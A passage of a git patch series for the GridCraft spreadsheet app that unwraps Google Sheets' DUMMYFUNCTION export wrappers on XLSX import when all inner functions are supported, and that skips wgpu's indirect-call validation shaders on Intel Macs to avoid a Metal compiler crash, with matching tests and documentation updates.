inner formula's precedence // with explicit ones unless it is a single operand. Some( @@ -210,14 +229,28 @@ fn unwrap_dummy_functions(e: Expr) -> Expr { | Expr::Paren(_) | Expr::Array(_) | Expr::Struct(_)), - ) => inner, - Some(inner) => Expr::Paren(Box::new(inner)), + ) => { + found = true; + inner + } + Some(inner) => { + found = true; + Expr::Paren(Box::new(inner)) + } None => x, }); - match gridcraft_formula::parse(&gridcraft_formula::print(&rewritten)) { - Ok(_) => rewritten, - Err(_) => original, + if !found { + return None; } + gridcraft_formula::parse(&gridcraft_formula::print(&rewritten)).ok()?; + Some(rewritten) +} + +/// What the engine passes as `known` (`gridcraft_calc::is_known_function`), for tests here: the +/// function library plus the evaluator's own functions the tests use. +#[cfg(test)] +pub(crate) fn test_known_function(n: &str) -> bool { + gridcraft_functions::lookup(n).is_some() || ["IF", "IFERROR", "ROW", "INDEX", "LET", "LAMBDA"].iter().any(|s| s.eq_ignore_ascii_case(n)) } #[cfg(test)] @@ -355,6 +388,13 @@ mod tests { assert_eq!(to_file(&Formula::new("GROUPBY(A1:A3,B1:B3,\"SUM\")")), "_xlfn.GROUPBY(A1:A3,B1:B3,\"SUM\")"); } + /// A formula as the reader leaves it, then with Google Sheets' wrappers unwrapped against + /// the real function library. + fn read(file: &str) -> String { + let text = from_file(file); + unwrap_google_sheets(&text, &test_known_function).unwrap_or(text) + } + /// #2871: Google Sheets' export wraps formulas as /// `IFERROR(__xludf.DUMMYFUNCTION(""),)`. #[test] @@ -362,28 +402,37 @@ mod tests { // The issue's formula, with its embedded newlines and doubled quotes. let file = "IFERROR(__xludf.DUMMYFUNCTION(\"MAX(\n IFERROR(MAX(FILTER(ROW(C:C), C:C=\"\"שולם\"\")), 0),\n IFERROR(MAX(FILTER(ROW(D:D), D:D=\"\"שולם\"\")), 0)\n)\"),40)"; let want = "MAX(IFERROR(MAX(FILTER(ROW(C:C),C:C=\"שולם\")),0),IFERROR(MAX(FILTER(ROW(D:D),D:D=\"שולם\")),0))"; - assert_eq!(from_file(file), want); - assert_eq!(from_file(&format!("={file}")), want); - // Any case, and IFERROR with its `_xlfn.` prefix. - assert_eq!(from_file("_xlfn.IFERROR(__XLUDF.dummyFunction(\"A1&\"\"x\"\"\"),\"1x\")"), "A1&\"x\""); - assert_eq!(from_file("iferror(__xludf.DUMMYFUNCTION(\"ARRAYFORMULA(A1:A3*2)\"),2)"), "ARRAYFORMULA(A1:A3*2)"); + assert_eq!(read(file), want); + assert_eq!(read(&format!("={file}")), want); + // The reader itself leaves the wrapper: unwrapping is a separate pass. + assert!(from_file(file).contains("DUMMYFUNCTION")); + // Any case, and IFERROR with its `_xlfn.` prefix; doubled quotes inside. + assert_eq!(read("_xlfn.IFERROR(__XLUDF.dummyFunction(\"A1&\"\"x\"\"\"),\"1x\")"), "A1&\"x\""); + assert_eq!(read("iferror(__xludf.DUMMYFUNCTION(\"SORT(A1:A3*2)\"),2)"), "SORT(A1:A3*2)"); // Nested: an operator expression keeps its precedence; a call or operand needs no parentheses. - assert_eq!(from_file("1+IFERROR(__xludf.DUMMYFUNCTION(\"A1+2\"),5)*3"), "1+(A1+2)*3"); - assert_eq!(from_file("SUM(IFERROR(__xludf.DUMMYFUNCTION(\"FILTER(A1:A3,B1:B3)\"),0),B1)"), "SUM(FILTER(A1:A3,B1:B3),B1)"); - assert_eq!(from_file("IFERROR(__xludf.DUMMYFUNCTION(\"A1\"),0)&IFERROR(__xludf.DUMMYFUNCTION(\"-B1\"),0)"), "A1&(-B1)"); - // One level only: a wrapper inside the unwrapped text stays. + assert_eq!(read("1+IFERROR(__xludf.DUMMYFUNCTION(\"A1+2\"),5)*3"), "1+(A1+2)*3"); + assert_eq!(read("SUM(IFERROR(__xludf.DUMMYFUNCTION(\"FILTER(A1:A3,B1:B3)\"),0),B1)"), "SUM(FILTER(A1:A3,B1:B3),B1)"); + assert_eq!(read("IFERROR(__xludf.DUMMYFUNCTION(\"A1\"),0)&IFERROR(__xludf.DUMMYFUNCTION(\"-B1\"),0)"), "A1&(-B1)"); + // Each wrapper on its own: a Google-only one stays next to one that is unwrapped. assert_eq!( - from_file("IFERROR(__xludf.DUMMYFUNCTION(\"IFERROR(__xludf.DUMMYFUNCTION(\"\"A1\"\"),0)\"),0)"), - "IFERROR(__XLUDF.DUMMYFUNCTION(\"A1\"),0)" + read("IFERROR(__xludf.DUMMYFUNCTION(\"A1*2\"),2)+IFERROR(__xludf.DUMMYFUNCTION(\"GOOGLETRANSLATE(A1)\"),0)"), + "(A1*2)+IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(A1)\"),0)" ); } - /// Text that doesn't parse, and shapes that aren't exactly the wrapper, are kept as they were. + /// Text that doesn't parse, calls a function GridCraft lacks, or shapes that aren't exactly + /// the wrapper, are kept as they were, so the cell keeps the cached value as in Excel. #[test] fn google_sheets_dummy_function_kept_when_not_the_wrapper() { for file in [ "IFERROR(__xludf.DUMMYFUNCTION(\"SUM(\"),5)", "IFERROR(__xludf.DUMMYFUNCTION(\"1+\"),5)+1", + // Google-only functions: GridCraft would show #NAME? instead of the cached value. + "IFERROR(__xludf.DUMMYFUNCTION(\"GOOGLETRANSLATE(A1,\"\"en\"\",\"\"fr\"\")\"),\"x\")", + "IFERROR(__xludf.DUMMYFUNCTION(\"ARRAYFORMULA(A1:A3*2)\"),2)", + "IFERROR(__xludf.DUMMYFUNCTION(\"SUM(QUERY(A1:B3,\"\"select B\"\"))\"),2)", + // A wrapper inside the text: only one level is ever unwrapped. + "IFERROR(__xludf.DUMMYFUNCTION(\"IFERROR(__xludf.DUMMYFUNCTION(\"\"A1\"\"),0)\"),0)", "IFERROR(__xludf.DUMMYFUNCTION(A1),5)", "IFERROR(__xludf.DUMMYFUNCTION(\"A1\",\"B1\"),5)", "IFERROR(__xludf.DUMMYFUNCTION(\"A1\"))", @@ -393,17 +442,18 @@ mod tests { "__xludf.DUMMYFUNCTION(\"A1\")", ] { let kept = gridcraft_formula::print(&gridcraft_formula::parse(file).unwrap()); - assert_eq!(from_file(file), kept, "{file}"); + assert_eq!(read(file), kept, "{file}"); + assert_eq!(unwrap_google_sheets(&from_file(file), &test_known_function), None, "{file}"); } // Inner text over the formula length limit. let long = format!("IFERROR(__xludf.DUMMYFUNCTION(\"{}\"),5)", "1".repeat(gridcraft_formula::MAX_FORMULA_LEN + 1)); - assert!(from_file(&long).contains("DUMMYFUNCTION")); + assert!(read(&long).contains("DUMMYFUNCTION")); // Nesting that would go past the parser's depth limit once unwrapped is kept as well. let deep = |n: usize, mid: &str| format!("{}{mid}{}", "(".repeat(n), ")".repeat(n)); let inner = deep(200, "1").replace('"', "\"\""); let file = deep(200, &format!("1+IFERROR(__xludf.DUMMYFUNCTION(\"{inner}\"),5)")); assert!(gridcraft_formula::parse(&file).is_ok()); - let read = from_file(&file); + let read = read(&file); assert!(read.contains("DUMMYFUNCTION")); assert!(gridcraft_formula::parse(&read).is_ok()); } diff --git a/crates/xlsx/src/lib.rs b/crates/xlsx/src/lib.rs index 650b22820..19ad5074e 100644 --- a/crates/xlsx/src/lib.rs +++ b/crates/xlsx/src/lib.rs @@ -83,7 +83,22 @@ impl ReadReport { /// Reads an `.xlsx` / `.xlsm` / `.xltx` / `.xltm` package (the workbook part is found through the /// package relationships, so every main-part content type is accepted). pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { - read::read_xlsx(bytes) + read::read_xlsx(bytes, None) +} + +/// [`read_xlsx`], and opens formulas from Google Sheets' XLSX export as the formulas written in +/// Google Sheets (#2871). +/// +/// Google writes a formula that uses a function it thinks Excel lacks as +/// `IFERROR(__xludf.DUMMYFUNCTION(""),)`; Excel shows the +/// cached value. A cell formula holding that wrapper, whole or inside a larger formula, is read +/// as the formula inside when it parses and `known` says GridCraft calculates every function it +/// calls. Otherwise (a Google-only function such as `GOOGLETRANSLATE`, inner text that doesn't +/// parse, or nesting past the parser's limit) the wrapper stays, so the cell keeps showing the +/// cached value as in Excel. `known` is passed in because this crate doesn't depend on the +/// function library. +pub fn read_xlsx_with(bytes: &[u8], known: &dyn Fn(&str) -> bool) -> Result<(Workbook, ReadReport), IoError> { + read::read_xlsx(bytes, Some(known)) } /// The part of a zip package that declares more than [`MAX_PART`] unpacked bytes, with that size: diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 8b118ecdb..2b563e26a 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -32,6 +32,9 @@ pub struct Ctx<'a> { pub cell_pictures: Vec>>, /// x14 conditional-format ids of the current sheet's data bars, with the index of the rule in `cond_formats`. pub cf_ext_ids: Vec<(String, usize)>, + /// Whether GridCraft calculates a function, when the caller says: cell formulas wrapped by + /// Google Sheets' export are then read as the formula inside (see [`crate::read_xlsx_with`]). + pub known_function: Option<&'a dyn Fn(&str) -> bool>, } impl Ctx<'_> { @@ -221,7 +224,7 @@ fn read_workbook_properties(cx: &mut Ctx<'_>, wb: &mut Workbook, xml: &El) { } } -pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { +pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> bool>) -> Result<(Workbook, ReadReport), IoError> { let pkg = Package::open(bytes)?; let mut cx = Ctx { pkg, @@ -238,6 +241,7 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { num_fmts: Default::default(), cell_pictures: vec![], cf_ext_ids: vec![], + known_function, }; let root_rels = cx.pkg.rels("")?; let wb_part = find_rel(&root_rels, "officeDocument").map(|r| r.target.clone()).unwrap_or_else(|| "xl/workbook.xml".into()); diff --git a/crates/xlsx/src/sheet_read.rs b/crates/xlsx/src/sheet_read.rs index 7a37e41d8..8dcb99d28 100644 --- a/crates/xlsx/src/sheet_read.rs +++ b/crates/xlsx/src/sheet_read.rs @@ -13,7 +13,7 @@ use gridcraft_model::{ }; use crate::IoError; -use crate::fmla::from_file; +use crate::fmla::{from_file, unwrap_google_sheets}; use crate::package::Rel; use crate::read::Ctx; use crate::styles::read_color; @@ -534,7 +534,12 @@ fn read_formula(cx: &mut Ctx<'_>, st: &mut RowState, f: &El, pos: CellRef, dynam } fn read_formula_text(cx: &mut Ctx<'_>, st: &mut RowState, f: &El, pos: CellRef, dynamic: bool) -> Option { - let model = from_file(f.text.trim()); + let mut model = from_file(f.text.trim()); + if let Some(known) = cx.known_function + && let Some(unwrapped) = unwrap_google_sheets(&model, known) + { + model = unwrapped; + } let text = model.as_str(); match f.attr("t").unwrap_or("normal") { "shared" => { diff --git a/crates/xlsx/src/tests/google_sheets_dummy.rs b/crates/xlsx/src/tests/google_sheets_dummy.rs index 37e27ecc4..921f46242 100644 --- a/crates/xlsx/src/tests/google_sheets_dummy.rs +++ b/crates/xlsx/src/tests/google_sheets_dummy.rs @@ -1,12 +1,13 @@ //! #2871: Google Sheets' XLSX export writes a formula that uses a function it thinks Excel lacks //! as `IFERROR(__xludf.DUMMYFUNCTION(""),)`. GridCraft -//! reads the formula inside, keeps the file's cached value, and saves the real formula. +//! reads the formula inside when GridCraft calculates every function it calls, keeps the file's +//! cached value, and saves the real formula. use gridcraft_core::{CellRef, Value}; use gridcraft_model::{Formula, Workbook}; use crate::package::Package; -use crate::{read_xlsx, write_xlsx}; +use crate::{read_xlsx, read_xlsx_with, write_xlsx}; fn at(s: &str) -> CellRef { CellRef::parse(s).unwrap() @@ -17,7 +18,7 @@ const HEBREW: &str = "IFERROR(__xludf.DUMMYFUNCTION(\"MAX(\n IFERROR(MAX(FILTER( const HEBREW_MODEL: &str = "MAX(IFERROR(MAX(FILTER(ROW(C:C),C:C=\"שולם\")),0),IFERROR(MAX(FILTER(ROW(D:D),D:D=\"שולם\")),0))"; /// A sheet as Google's export writes it: plain, `t="array"` and shared formulas, a wrapper inside -/// a larger formula, and one whose inner text doesn't parse. +/// a larger formula, one whose inner text doesn't parse and one with a Google-only function. fn google_book() -> Vec { let esc = |s: &str| s.replace('&', "&").replace('<', "<").replace('>', ">"); let body = format!( @@ -28,7 +29,8 @@ fn google_book() -> Vec { r#"IFERROR(__xludf.DUMMYFUNCTION("B1*2"),2)2"#, r#"1+IFERROR(__xludf.DUMMYFUNCTION("B1+B2"),5)6"#, r#"IFERROR(__xludf.DUMMYFUNCTION("SUM("),5)5"#, - r#"IFERROR(__xludf.dummyfunction("""a""&B1&CHAR(10)& B2"),"a1")a1"#, + r#"IFERROR(__xludf.dummyfunction("""a""&B1&CHAR(10)& B2"),"a1")a1"#, + r#"IFERROR(__xludf.DUMMYFUNCTION("GOOGLETRANSLATE(""hello"",""en"",""fr"")"),"bonjour")bonjour"#, r#"438"#, r#"36"#, "" @@ -58,35 +60,44 @@ fn assert_google_book(wb: &Workbook) { assert_eq!(formula(wb, "G1").text, "1+(B1+B2)"); assert_eq!(formula(wb, "H1").text, "IFERROR(__XLUDF.DUMMYFUNCTION(\"SUM(\"),5)"); assert_eq!(formula(wb, "I1").text, "\"a\"&B1&CHAR(10)&B2"); + // GridCraft has no GOOGLETRANSLATE: the wrapper stays, so the cell shows the cached text. + assert_eq!(formula(wb, "J1").text, "IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hello\"\",\"\"en\"\",\"\"fr\"\")\"),\"bonjour\")"); // The cached values are the file's (inside an array range the reader keeps only the anchor's). for (cell, v) in [("A1", 40.0), ("E1", 2.0), ("F1", 2.0), ("F2", 8.0), ("F3", 6.0), ("G1", 6.0), ("H1", 5.0)] { assert_eq!(value(wb, cell), Value::Number(v), "{cell}"); } assert_eq!(value(wb, "I1"), Value::text("a1")); + assert_eq!(value(wb, "J1"), Value::text("bonjour")); // Every unwrapped formula parses. for cell in ["A1", "E1", "F1", "F2", "F3", "G1", "I1"] { assert!(formula(wb, cell).expr().is_some(), "{cell}"); } } +/// Reads a file as the engine opens one. +fn open(bytes: &[u8]) -> Workbook { + read_xlsx_with(bytes, &crate::fmla::test_known_function).unwrap().0 +} + #[test] fn google_sheets_wrapper_reads_as_the_original_formula() { + assert_google_book(&open(&google_book())); + // Without a function list the reader keeps the file's formula. let (wb, _) = read_xlsx(&google_book()).unwrap(); - assert_google_book(&wb); + assert!(formula(&wb, "A1").text.contains("DUMMYFUNCTION")); } /// Saving writes the real formula, with the file prefixes Excel expects, as for any formula /// GridCraft reads; reopening gives the same workbook. #[test] fn google_sheets_wrapper_saves_the_real_formula() { - let (wb, _) = read_xlsx(&google_book()).unwrap(); + let wb = open(&google_book()); let saved = write_xlsx(&wb).unwrap(); let mut pkg = Package::open(&saved).unwrap(); let xml = String::from_utf8(pkg.read("xl/worksheets/sheet1.xml").unwrap().unwrap()).unwrap(); assert!(xml.contains("MAX(IFERROR(MAX(_xlfn._xlws.FILTER(ROW(C:C),C:C=\"שולם\")),0)"), "{xml}"); assert!(xml.contains("_xlfn._xlws.FILTER(B1:B3,B1:B3>1)"), "{xml}"); - // Only the formula whose inner text doesn't parse keeps its wrapper. - assert_eq!(xml.matches("DUMMYFUNCTION").count(), 1, "{xml}"); - let (reopened, _) = read_xlsx(&saved).unwrap(); - assert_google_book(&reopened); + // Only the formula whose inner text doesn't parse and the Google-only one keep their wrapper. + assert_eq!(xml.matches("DUMMYFUNCTION").count(), 2, "{xml}"); + assert_google_book(&open(&saved)); } diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 9ad905a96..806d12405 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)`, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -43,14 +43,15 @@ Formulas from Google Sheets' XLSX export open as the formulas written in Google Google writes a formula that uses a function it thinks Excel lacks as `IFERROR(__xludf.DUMMYFUNCTION(""),)`, which Excel shows as the cached fallback. GridCraft recognises exactly that shape (any case, with or without -`_xlfn.` on `IFERROR`), in plain, shared and `t="array"` formulas, as the whole formula or inside a -larger one (`=1+IFERROR(__xludf.DUMMYFUNCTION("A1+2"),5)` opens as `=1+(A1+2)`), and reads the -formula inside when it parses. The cell keeps the file's cached value. Inner text that doesn't -parse, is longer than 8,192 characters or would nest past the parser's limit keeps the wrapper, -and only one level is unwrapped. **Saving writes the real formula** (with `_xlfn.` prefixes, e.g. -`_xlfn._xlws.FILTER`), not the wrapper: this is what Excel does with the `_xlfn.` functions it -knows. A function GridCraft can't calculate then shows its error rather than the cached value; -keeping saved results for those is #2770 (`google_sheets_dummy.rs`, `fmla.rs`). +`_xlfn.` on `IFERROR`), in plain, shared and `t="array"` cell formulas, as the whole formula or +inside a larger one (`=1+IFERROR(__xludf.DUMMYFUNCTION("A1+2"),5)` opens as `=1+(A1+2)`), and +reads the formula inside when it parses and GridCraft calculates every function it calls. The +cell keeps the file's cached value. A Google-only function (`GOOGLETRANSLATE`, `QUERY`, +`ARRAYFORMULA`…) keeps the wrapper, so the cell shows the cached value as in Excel rather than +`#NAME?`; so does inner text that doesn't parse, is longer than 8,192 characters or would nest +past the parser's limit, and a wrapper inside the text. **Saving writes the real formula** (with +`_xlfn.` prefixes, e.g. `_xlfn._xlws.FILTER`), not the wrapper: this is what Excel does with the +`_xlfn.` functions it knows (`google_sheets_dummy.rs`, `fmla.rs`, engine `io/tests.rs`). | Format | Excel | GridCraft read | GridCraft write | Fidelity / notes | Tests | |---|---|---|---|---|---| @@ -123,7 +124,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| -| 2026-10-31 | minor | XLSX open reads Google Sheets' `IFERROR(__xludf.DUMMYFUNCTION("…"),cached)` export wrapper as the formula inside (plain, shared and array formulas, whole or nested; unparseable, over-long or over-deep inner text keeps the wrapper) and keeps the cached value; saving writes the real formula with Excel's `_xlfn.` prefixes (#2871) | +| 2026-10-31 | minor | XLSX open reads Google Sheets' `IFERROR(__xludf.DUMMYFUNCTION("…"),cached)` export wrapper as the formula inside when GridCraft calculates every function in it (plain, shared and array formulas, whole or nested; Google-only functions and unparseable, over-long or over-deep inner text keep the wrapper and the cached value) and keeps the cached value; saving writes the real formula with Excel's `_xlfn.` prefixes (#2871) | | 2026-10-21 | minor | HTML (Save as Web Page) writes pictures (`data:` URI ``) and charts (inline SVG from the chart crate's drawing primitives, text included) at their anchors; the table uses the sheet's column widths and row heights when the sheet has either, and output for sheets without pictures or charts is unchanged | | 2026-10-20 | trivial | XLSX shared strings: Japanese phonetic runs (ふりがな, `` with ``) are read into the workbook and written back next to the string with the same text, so an open + save no longer deletes them; bad offsets and readings are dropped with a warning, a `` without runs is kept on its own, and when duplicate `` items share a text but not a reading only the first reading is written (reported on open) (`phonetic_tests.rs`) | | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | From 5e415cdd34d287b90a4a9df67eb4f532f6f72d96 Mon Sep 17 00:00:00 2001 From: vioreltus <142961713+vioreltus@users.noreply.github.com> Date: Sun, 1 Nov 2026 11:54:28 +0200 Subject: [PATCH 161/298] macOS: Intel Macs skip wgpu's indirect-call validation shaders (fixes #2812) (#3039) * Fix #2812: Intel Macs skip wgpu's indirect-call validation shaders Metal's Intel compiler aborts on wgpu's indirect-validation compute shaders ("Compiler encountered an internal error"; MTLCompilerService crashes in reportUnsupportedMaxWorkGroupSizeMetadataError), the device is lost inside request_device and GridCraft exits before its window opens. GridCraft issues no indirect draws or dispatches, so on Intel Macs the instance leaves VALIDATION_INDIRECT_CALL out; WGPU_VALIDATION_INDIRECT_CALL=1 turns it back on. Every other platform keeps wgpu's default. Same as WordCraft (#2652 there). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JadgGo4G2GHaAMNb3qyygk * Review: test that WGPU_VALIDATION_INDIRECT_CALL=1 still turns it on; qualify the doc line The override is checked in a child test process with the variable set, since tests can't set environment variables without unsafe code. The revision line no longer says Intel Macs start: OpenCore Legacy Patcher Macs on macOS 15 can still fail on the MSL version (#1116). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JadgGo4G2GHaAMNb3qyygk --------- Co-authored-by: Claude --- apps/gridcraft/src/graphics.rs | 80 +++++++++++++++++++++++++++++++++- apps/gridcraft/src/main.rs | 7 ++- docs/hardware-parity.md | 5 ++- 3 files changed, 86 insertions(+), 6 deletions(-) diff --git a/apps/gridcraft/src/graphics.rs b/apps/gridcraft/src/graphics.rs index 83478edde..93ec2e4c9 100644 --- a/apps/gridcraft/src/graphics.rs +++ b/apps/gridcraft/src/graphics.rs @@ -1,4 +1,5 @@ -//! Windows graphics instance configuration, applied before wgpu can initialize any driver. +//! Graphics instance configuration, applied before wgpu can initialize any driver: Windows +//! backends and the DirectX 12 shader compiler, and the Intel Mac indirect-validation skip. //! //! Vulkan is never initialized unless `WGPU_BACKEND` asks for it: enumerating Vulkan adapters //! crashes inside Intel's `igvk64.dll` on some UHD Graphics drivers (#120), and that access @@ -8,12 +9,38 @@ //! whichever `dxcompiler.dll` the DLL search path happens to find (#339, #354): see //! [`dx12_compiler`]. +// On macOS only the indirect-validation items are used outside tests; on Windows the other way +// round, so those two carry their own `allow`. +#![cfg_attr(target_os = "macos", allow(dead_code))] + use eframe::{ NativeOptions, egui_wgpu::WgpuSetup, - wgpu::{Backends, DeviceType, Dx12Compiler}, + wgpu::{Backends, DeviceType, Dx12Compiler, InstanceFlags}, }; +/// wgpu compiles its indirect-call validation compute shaders inside `request_device`. On Intel +/// Macs (Iris 5100 in a Mac mini 2014) Metal's compiler aborts on them ("Compiler encountered an +/// internal error"), the device is lost and eframe exits before the window opens. GridCraft issues +/// no indirect draws or dispatches, so Intel Macs skip them; every other GPU keeps wgpu's default. +/// Same as WordCraft (storytold/wordcraft#2652) and PhotoCraft (storytold/PhotoCraft#3171). +#[cfg_attr(not(target_os = "macos"), allow(dead_code))] +pub fn skips_indirect_validation(macos: bool, intel: bool) -> bool { + macos && intel +} + +/// Leaves wgpu's indirect-call validation out of the instance eframe creates when `skip`. +/// `WGPU_VALIDATION_INDIRECT_CALL=1` still turns it back on. +#[cfg_attr(not(target_os = "macos"), allow(dead_code))] +pub fn configure_indirect_validation(options: &mut NativeOptions, skip: bool) { + if !skip { + return; + } + if let WgpuSetup::CreateNew(create) = &mut options.wgpu_options.wgpu_setup { + create.instance_descriptor.flags = create.instance_descriptor.flags.difference(InstanceFlags::VALIDATION_INDIRECT_CALL).with_env(); + } +} + /// What the start-up probe learned about one DirectX 12 adapter. #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub struct Dx12Adapter { @@ -141,6 +168,55 @@ fn probe_dx12(options: &NativeOptions) -> Vec { mod tests { use super::*; + fn instance_flags(options: &NativeOptions) -> InstanceFlags { + let WgpuSetup::CreateNew(create) = &options.wgpu_options.wgpu_setup else { + panic!("default native options must create a wgpu instance"); + }; + create.instance_descriptor.flags + } + + #[test] + fn intel_macs_skip_the_indirect_validation_shaders() { + // Metal's Intel compiler aborted on them, losing the device before the window opened. + assert!(skips_indirect_validation(true, true)); + // Apple silicon, Windows and Linux keep wgpu's validation. + for (macos, intel) in [(true, false), (false, true), (false, false)] { + assert!(!skips_indirect_validation(macos, intel), "macos={macos} intel={intel}"); + } + let mut options = NativeOptions::default(); + let before = instance_flags(&options); + configure_indirect_validation(&mut options, false); + assert_eq!(instance_flags(&options), before, "flags untouched when not skipping"); + if std::env::var_os("WGPU_VALIDATION_INDIRECT_CALL").is_none() { + configure_indirect_validation(&mut options, true); + assert!(!instance_flags(&options).contains(InstanceFlags::VALIDATION_INDIRECT_CALL)); + } + } + + /// `WGPU_VALIDATION_INDIRECT_CALL=1` turns the validation back on even when it is skipped. + /// Tests can't set environment variables (`set_var` is unsafe, and unsafe code is forbidden), + /// so this runs itself again as a child process with the variable set. + #[test] + fn the_environment_turns_indirect_validation_back_on() { + const NAME: &str = "graphics::tests::the_environment_turns_indirect_validation_back_on"; + if std::env::var_os("GRIDCRAFT_INDIRECT_VALIDATION_CHILD").is_some() { + let mut options = NativeOptions::default(); + configure_indirect_validation(&mut options, true); + assert!(instance_flags(&options).contains(InstanceFlags::VALIDATION_INDIRECT_CALL)); + return; + } + let exe = std::env::current_exe().unwrap(); + let out = std::process::Command::new(exe) + .args(["--exact", NAME, "--test-threads=1"]) + .env("GRIDCRAFT_INDIRECT_VALIDATION_CHILD", "1") + .env("WGPU_VALIDATION_INDIRECT_CALL", "1") + .output() + .unwrap(); + let stdout = String::from_utf8_lossy(&out.stdout); + // `--exact` matching nothing would pass too, so the child must report this one test. + assert!(out.status.success() && stdout.contains("1 passed"), "child test failed:\n{stdout}{}", String::from_utf8_lossy(&out.stderr)); + } + fn configured_backends(backends: Backends) -> Backends { let mut options = NativeOptions::default(); configure_backends(&mut options, backends); diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 9357d0796..3aab1ccfc 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -12,7 +12,7 @@ #[cfg(target_os = "macos")] mod apple_events; mod control_server; -#[cfg(any(target_os = "windows", test))] +#[cfg(any(target_os = "windows", target_os = "macos", test))] mod graphics; mod logging; #[cfg(target_os = "macos")] @@ -341,8 +341,11 @@ fn main() -> eframe::Result<()> { } let window_builder = viewport.clone(); let options = eframe::NativeOptions { viewport, ..Default::default() }; - #[cfg(all(unix, not(target_os = "macos")))] + #[cfg(unix)] let mut options = options; + // Intel Macs: Metal's compiler aborts on wgpu's indirect-validation shaders (see graphics.rs). + #[cfg(target_os = "macos")] + graphics::configure_indirect_validation(&mut options, graphics::skips_indirect_validation(true, cfg!(target_arch = "x86_64"))); // winit has no file drag-and-drop on Wayland (only on X11), so dropping files from the file // manager showed a "no" cursor. Run through XWayland when it's there; GRIDCRAFT_WAYLAND=1 // keeps the native Wayland backend. diff --git a/docs/hardware-parity.md b/docs/hardware-parity.md index 71cf001d5..65ae312cd 100644 --- a/docs/hardware-parity.md +++ b/docs/hardware-parity.md @@ -1,6 +1,6 @@ # Hardware parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-22 · **Change:** minor (Arrange All) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** trivial (Intel Mac start-up) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 The hardware Excel uses, per platform, against GridCraft. Part of [target-app-parity.md](target-app-parity.md). **Hardware: ~40% ready, 25–40 h** (estimated). @@ -8,7 +8,7 @@ The hardware Excel uses, per platform, against GridCraft. Part of | Hardware feature | Excel | GridCraft (macOS · Windows · Linux · BSD · web) | Gap and estimate | |---|---|---|---| | Multi-core recalculation | Multi-threaded recalculation on all cores (Windows and Mac), configurable thread count | Single-threaded everywhere (no threading in `crates/calc`) | Parallel recalc of independent dependency chains on native builds; WASM stays single-threaded or uses workers later: 12–18 h | -| GPU rendering of the grid and charts | DirectX / Metal accelerated drawing | wgpu: Metal · DirectX 12 (default since 10-08; OpenGL when DirectX 12 has no GPU driver or fails to start; Vulkan only on request, so the Intel UHD `igvk64.dll` crash (#120) can't happen; shaders compiled with FXC, so no DXC runtime is needed, #339) · Vulkan/GL · Vulkan/GL · WebGPU or WebGL2 | At parity in kind. Driver problems: screen flashing on Windows 11 (#76): 2–4 h | +| GPU rendering of the grid and charts | DirectX / Metal accelerated drawing | wgpu: Metal (Intel Macs skip wgpu's indirect-call validation shaders, which Metal's Intel compiler aborts on, #2812) · 